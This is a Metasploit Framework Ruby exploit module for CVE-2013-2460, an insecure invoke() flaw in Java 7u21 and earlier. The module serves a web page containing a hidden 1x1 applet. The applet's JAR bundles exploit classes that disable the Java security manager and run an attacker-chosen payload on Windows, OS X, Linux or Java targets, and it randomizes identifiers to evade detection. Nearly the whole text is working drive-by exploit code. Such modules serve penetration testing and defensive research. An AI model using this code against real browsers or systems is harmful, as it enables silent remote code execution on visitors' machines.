Java Applet ProviderSkeleton Insecure Invoke Method

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking # Because there isn't click2play bypass, plus now Java Security Level High by default

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({ :javascript => false })

	EXPLOIT_STRING = "Exploit"

	def initialize( info = {} )

		super( update_info( info,
			'Name'          => 'Java Applet ProviderSkeleton Insecure Invoke Method',
			'Description'   => %q{
					This module abuses the insecure invoke() method of the ProviderSkeleton class that
				allows to call arbitrary static methods with user supplied arguments. The vulnerability
				affects Java version 7u21 and earlier.
			},
			'License'       => MSF_LICENSE,
			'Author'        =>
				[
					'Adam Gowdiak', # Vulnerability discovery according to Oracle's advisory and also POC
					'Matthias Kaiser' # Metasploit module
				],
			'References'    =>
				[
					[ 'CVE', '2013-2460' ],
					[ 'OSVDB', '94346' ],
					[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2013-1899847.html'],
					[ 'URL', 'http://hg.openjdk.java.net/jdk7u/jdk7u/jdk/rev/160cde99bb1a' ],
					[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-12.pdf' ],
					[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-61.zip' ]
				],
			'Platform'      => [ 'java', 'win', 'osx', 'linux' ],
			'Payload'       => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
			'Targets'       =>
				[
					[ 'Generic (Java Payload)',
						{
							'Platform' => ['java'],
							'Arch' => ARCH_JAVA,
						}
					],
					[ 'Windows x86 (Native Payload)',
						{
							'Platform' => 'win',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Mac OS X x86 (Native Payload)',
						{
							'Platform' => 'osx',
							'Arch' => ARCH_X86,
						}
					],
					[ 'Linux x86 (Native Payload)',
						{
							'Platform' => 'linux',
							'Arch' => ARCH_X86,
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 18 2013'
		))
	end

	def randomize_identifier_in_jar(jar, identifier)
		identifier_str = rand_text_alpha(identifier.length)
		jar.entries.each { |entry|
			entry.name.gsub!(identifier, identifier_str)
			entry.data = entry.data.gsub(identifier, identifier_str)
		}
	end


	def setup
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "Exploit.class")
		@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "ExpProvider.class")
		@provider_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
		path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-2460", "DisableSecurityManagerAction.class")
		@action_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

		@exploit_class_name = rand_text_alpha(EXPLOIT_STRING.length)
		@exploit_class.gsub!(EXPLOIT_STRING, @exploit_class_name)

		super
	end

	def on_request_uri(cli, request)
		print_status("handling request for #{request.uri}")

		case request.uri
		when /\.jar$/i
			jar = payload.encoded_jar
			jar.add_file("#{@exploit_class_name}.class", @exploit_class)
			jar.add_file("ExpProvider.class", @provider_class)
			jar.add_file("DisableSecurityManagerAction.class", @action_class)
			randomize_identifier_in_jar(jar, "metasploit")
			randomize_identifier_in_jar(jar, "payload")
			jar.build_manifest

			send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
		when /\/$/
			payload = regenerate_payload(cli)
			if not payload
				print_error("Failed to generate the payload.")
				send_not_found(cli)
				return
			end
			send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
		else
			send_redirect(cli, get_resource() + '/', '')
		end

	end

	def generate_html
		html = %Q|
		<html>
		<body>
		<applet archive="#{rand_text_alpha(rand(5) + 3)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>
		</body>
		</html>
		|
		return html
	end

end